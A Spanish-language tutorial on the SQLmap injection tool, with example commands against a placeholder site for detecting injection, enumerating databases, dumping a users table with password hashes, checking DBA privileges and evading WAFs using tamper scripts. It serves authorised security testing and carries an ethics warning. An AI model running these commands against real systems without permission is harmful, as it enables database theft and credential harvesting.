SQLMap

🛡️ SQLmap: Detección y Explotación de Inyecciones SQL

SQLmap es una herramienta automatizada diseñada para identificar y explotar vulnerabilidades de inyección SQL en aplicaciones web. Ofrece la capacidad de enumerar bases de datos, tablas y datos, así como obtener credenciales y más.


🕵️‍♂️ ¿Qué puede hacer SQLmap?

  1. 📜 Detección de vulnerabilidades SQL: Prueba sitios web en busca de inyecciones SQL.

  2. 💾 Enumeración de bases de datos: Lista bases de datos, tablas y columnas.

  3. 🔑 Obtención de credenciales: Extrae usuarios y contraseñas.

  4. 🎯 Explotación avanzada: Realiza consultas personalizadas, obtiene hashes, y más.

  5. 🛠️ Bypass de WAF: Evita sistemas de seguridad web para probar la robustez del sistema.


🚀 Instalación

SQLmap viene preinstalado en distribuciones como Kali Linux. Si necesitas instalarlo:

  1. Clonar desde GitHub:

    git clone <https://github.com/sqlmapproject/sqlmap.git>
    cd sqlmap
    
  2. Ejecuta SQLmap:

    python3 sqlmap.py
    

📌 Ejemplos Prácticos con Código

1️⃣ Escaneo Básico

Identifica vulnerabilidades de inyección SQL en una URL.

sqlmap -u "<http://example.com/product.php?id=1>"

Explicación:

  • u: Define la URL objetivo.

Salida esperada:

[INFO] the target is vulnerable

2️⃣ Enumerar Bases de Datos

Lista las bases de datos disponibles en el sistema.

sqlmap -u "<http://example.com/product.php?id=1>" --dbs

Salida esperada:

available databases [2]:
[*] information_schema
[*] example_db

3️⃣ Enumerar Tablas de una Base de Datos

Lista las tablas de una base de datos específica.

sqlmap -u "<http://example.com/product.php?id=1>" -D example_db --tables

Salida esperada:

Database: example_db
[3 tables]
[*] users
[*] orders
[*] products

4️⃣ Extraer Datos de una Tabla

Obtén datos específicos de una tabla.

sqlmap -u "<http://example.com/product.php?id=1>" -D example_db -T users --dump

Salida esperada:

Database: example_db
Table: users
[3 entries]
| id | username | password       |
| 1  | admin    | 5f4dcc3b5aa765d61d8327deb882cf99 |

5️⃣ Obtener Credenciales del Sistema 🔐

Extrae las credenciales del sistema operativo subyacente.

sqlmap -u "<http://example.com/product.php?id=1>" --is-dba --current-user

Salida esperada:

[INFO] current user is DBA: True
[INFO] current user: 'root'

6️⃣ Bypass de WAF o Firewall 🛡️

SQLmap incluye técnicas para evadir firewalls.

sqlmap -u "<http://example.com/product.php?id=1>" --tamper=space2comment

Explicación:

  • -tamper=space2comment: Usa técnicas de evasión para evitar filtros.


⚙️ Opciones Útiles

  • Definir cookies:

    sqlmap -u "<http://example.com/product.php?id=1>" --cookie="PHPSESSID=abcd1234"
    
  • Especificar método HTTP:

    sqlmap -u "<http://example.com/product.php>" --method POST --data "id=1"
    
  • Forzar el DBMS:

    sqlmap -u "<http://example.com/product.php?id=1>" --dbms=mysql
    
  • Guardar resultados:

    sqlmap -u "<http://example.com/product.php?id=1>" --output-dir=/ruta/a/resultados/
    

🌟 Mejores Prácticas

  1. Pruebas éticas: Solo ejecuta SQLmap en sistemas con autorización explícita.

  2. Configura tiempos de espera: Evita bloquear el servidor con -timeout 10.

  3. Usa evasión avanzada: Experimenta con múltiples scripts -tamper para bypass de WAFs.

  4. Complementa con herramientas: Usa Burp Suite para capturar y enviar peticiones a SQLmap.


🚨 Advertencia

SQLmap es una herramienta poderosa y debe usarse únicamente con permiso. El uso indebido puede tener graves consecuencias legales.


🤓 Conclusión

SQLmap es una herramienta esencial para la detección y explotación de inyecciones SQL. Su facilidad de uso y versatilidad la convierten en un pilar de cualquier auditoría de seguridad. 🌐

Última actualización

¿Te fue útil?